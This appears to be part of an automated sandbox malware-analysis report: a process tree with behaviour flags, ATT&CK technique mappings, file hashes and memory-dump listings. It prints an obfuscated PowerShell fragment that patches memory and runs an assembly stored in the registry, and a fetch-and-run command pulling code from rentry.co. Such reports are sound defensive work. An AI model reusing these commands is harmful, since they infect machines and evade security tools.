arshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AtahQjknUzseEcvkT,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZtAWNcQjOtBSpLTrW,$YXMKcfjUyXAQJthUbnycgf).Invoke($AtahQjknUzseEcvkT,[uint32]8,0x20,[ref]$qRaJSqIOdk);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+'F'+''+[Char](84)+''+[Char](87)+'A'+[Char](82)+''+'E'+'').GetValue(''+[Char](120)+''+'4'+'s'+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4788

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
PID:1160

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1188

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1208

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1220

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1300

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1416

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1436

c:\windows\system32\sihost.exe
sihost.exe
2⤵
PID:2984

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1464

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1516

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1524

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1672

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1828

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1932

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1948

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2020

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1916

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2112

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2248

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
PID:2380

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2392

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2432

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2500

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2524

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2588

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2608

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2852

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2956

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:3024

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
1⤵
PID:3232

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3388

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\download (3).jpg"
2⤵
PID:4212

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:4672

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:3564

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell "irm rentry.co/el3rabtweakpc/raw | iex"
3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4800

C:\Windows\svchost32.exe
"C:\Windows\svchost32.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:216

C:\Users\Admin\AppData\Local\Temp\x4s.exe
"C:\Users\Admin\AppData\Local\Temp\x4s.exe"
5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
PID:4524

C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe
"C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe"
5⤵
- Executes dropped EXE
PID:496

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3896

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3180

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:4992

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:1796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3300

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4400

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
1⤵
PID:4908

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3880

C:\Windows\system32\ApplicationFrameHost.exe
C:\Windows\system32\ApplicationFrameHost.exe -Embedding
1⤵
PID:2360

C:\Windows\System32\InstallAgent.exe
C:\Windows\System32\InstallAgent.exe -Embedding
1⤵
PID:1172

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4656

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2336

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

2

T1082

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1skdrhqn.tj2.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe
Filesize
164KB

MD5
8a7bee2c8cec6ac50bc42fe03d3231e6

SHA1
ebc599a15f061a70f6b3ee74b9acfa4e3b4d299d

SHA256
c8139f7fcde9c68cd331bcd438dfea7f02c463c6372dc477ab305da518483db8

SHA512
34370b6f162cb752b1cb91d689705e6f0f247e02744bbbe85347d20cd89e02aba7c5e9e22bb63acc49b4fdc062de12ccf24f481a18c18d2094e1506bb143cad5

Download Submit
C:\Users\Admin\AppData\Local\Temp\x4s.exe
Filesize
33KB

MD5
7d333fbc75b9264d3b631861794a7641

SHA1
165e2b6ad994fe9bab44154e3812b2e8825dfa76

SHA256
b98612934cc154c292502370baca4769f1fccad2c79c17237d23ffd5926180bf

SHA512
54408249ba56c7c19f41c8d35113f306f0fa62c6f5331993945504d09075977346eb40465107d4fab44159a46bd0048d8ea265d31b57d16294420552353175b3

Download Submit
C:\Windows\svchost32.exe
Filesize
180KB

MD5
de68372979221ee19e301cd657bdb1b6

SHA1
4266ce79f32422735a99259c27749b6d7fbe158e

SHA256
720747405e106709767314b8a58bb754aee0f2bcc568440d757aaab17a181f6a

SHA512
3c80bf8e5dda4a7fb9837e7098f5682651026ba41396fb18221ba96fa61e22961abc22e60760e719ce5300663ba18877aed60bd2106198eb6bf69030ce4fee16

Download Submit
memory/216-46-0x00000000001C0000-0x00000000001F4000-memory.dmp

Filesize
208KB

Download
memory/580-104-0x0000029B28E80000-0x0000029B28EAC000-memory.dmp

Filesize
176KB

Download
memory/580-105-0x0000029B28E80000-0x0000029B28EAC000-memory.dmp

Filesize
176KB

Download
memory/580-112-0x00007FFE223A0000-0x00007FFE223B0000-memory.dmp

Filesize
64KB

Download
memory/580-111-0x0000029B28E80000-0x0000029B28EAC000-memory.dmp

Filesize
176KB

Download
memory/580-103-0x0000029B28E50000-0x0000029B28E76000-memory.dmp

Filesize
152KB

Download
memory/640-116-0x0000027B34070000-0x0000027B3409C000-memory.dmp

Filesize
176KB

Download
memory/640-122-0x0000027B34070000-0x0000027B3409C000-memory.dmp

Filesize
176KB

Download
memory/640-123-0x00007FFE223A0000-0x00007FFE223B0000-memory.dmp

Filesize
64KB

Download
memory/744-127-0x0000014ACBEB0000-0x0000014ACBEDC000-memory.dmp

Filesize
176KB

Download
memory/744-134-0x00007FFE223A0000-0x00007FFE223B0000-memory.dmp

Filesize
64KB

Download
memory/744-133-0x0000014ACBEB0000-0x0000014ACBEDC000-memory.dmp

Filesize
176KB

Download
memory/920-145-0x00007FFE223A0000-0x00007FFE223B0000-memory.dmp

Filesize
64KB

Download
memory/920-144-0x0000016AA1F10000-0x0000016AA1F3C000-memory.dmp

Filesize
176KB

Download
memory/920-138-0x0000016AA1F10000-0x0000016AA1F3C000-memory.dmp

Filesize
176KB

Download
memory/1004-149-0x0000025AC2420000-0x0000025AC244C000-memory.dmp

Filesize
176KB

Download
memory/1820-89-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1820-98-0x00007FFE62310000-0x00007FFE624EB000-memory.dmp

Filesize
1.9MB

Download
memory/1820-99-0x00007FFE61F00000-0x00007FFE61FAE000-memory.dmp

Filesize
696KB

Download
memory/1820-97-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1820-100-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1820-90-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1820-91-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1820-92-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4524-741-0x00000000021D0000-0x00000000021DE000-memory.dmp

Filesize
56KB

Download
memory/4524-59-0x00000000001B0000-0x00000000001BE000-memory.dmp

Filesize
56KB

Download
memory/4788-86-0x000002BEE6C20000-0x000002BEE6C4A000-memory.dmp

Filesize
168KB

Download
memory/4788-88-0x00007FFE61F00000-0x00007FFE61FAE000-memory.dmp

Filesize
696KB

Download
memory/4788-87-0x00007FFE62310000-0x00007FFE624EB000-memory.dmp

Filesize
1.9MB

Download
memory/4800-50-0x00007FFE454A0000-0x00007FFE45E8C000-memory.dmp

Filesize
9.9MB

Download
memory/4800-30-0x000001DA7E4B0000-0x000001DA7E672000-memory.dmp

Filesize
1.8MB

Download
memory/4800-25-0x00007FFE454A0000-0x00007FFE45E8C000-memory.dmp

Filesize
9.9MB

Download
memory/4800-10-0x000001DA7DDE0000-0x000001DA7DE56000-memory.dmp

Filesize
472KB

Download
memory/4800-7-0x00007FFE454A0000-0x00007FFE45E8C000-memory.dmp

Filesize
9.9MB

Download
memory/4800-6-0x00007FFE454A0000-0x00007FFE45E8C000-memory.dmp

Filesize
9.9MB

Download
memory/4800-5-0x000001DA7DC20000-0x000001DA7DC42000-memory.dmp

Filesize
136KB

Download
memory/4800-3-0x00007FFE454A3000-0x00007FFE454A4000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads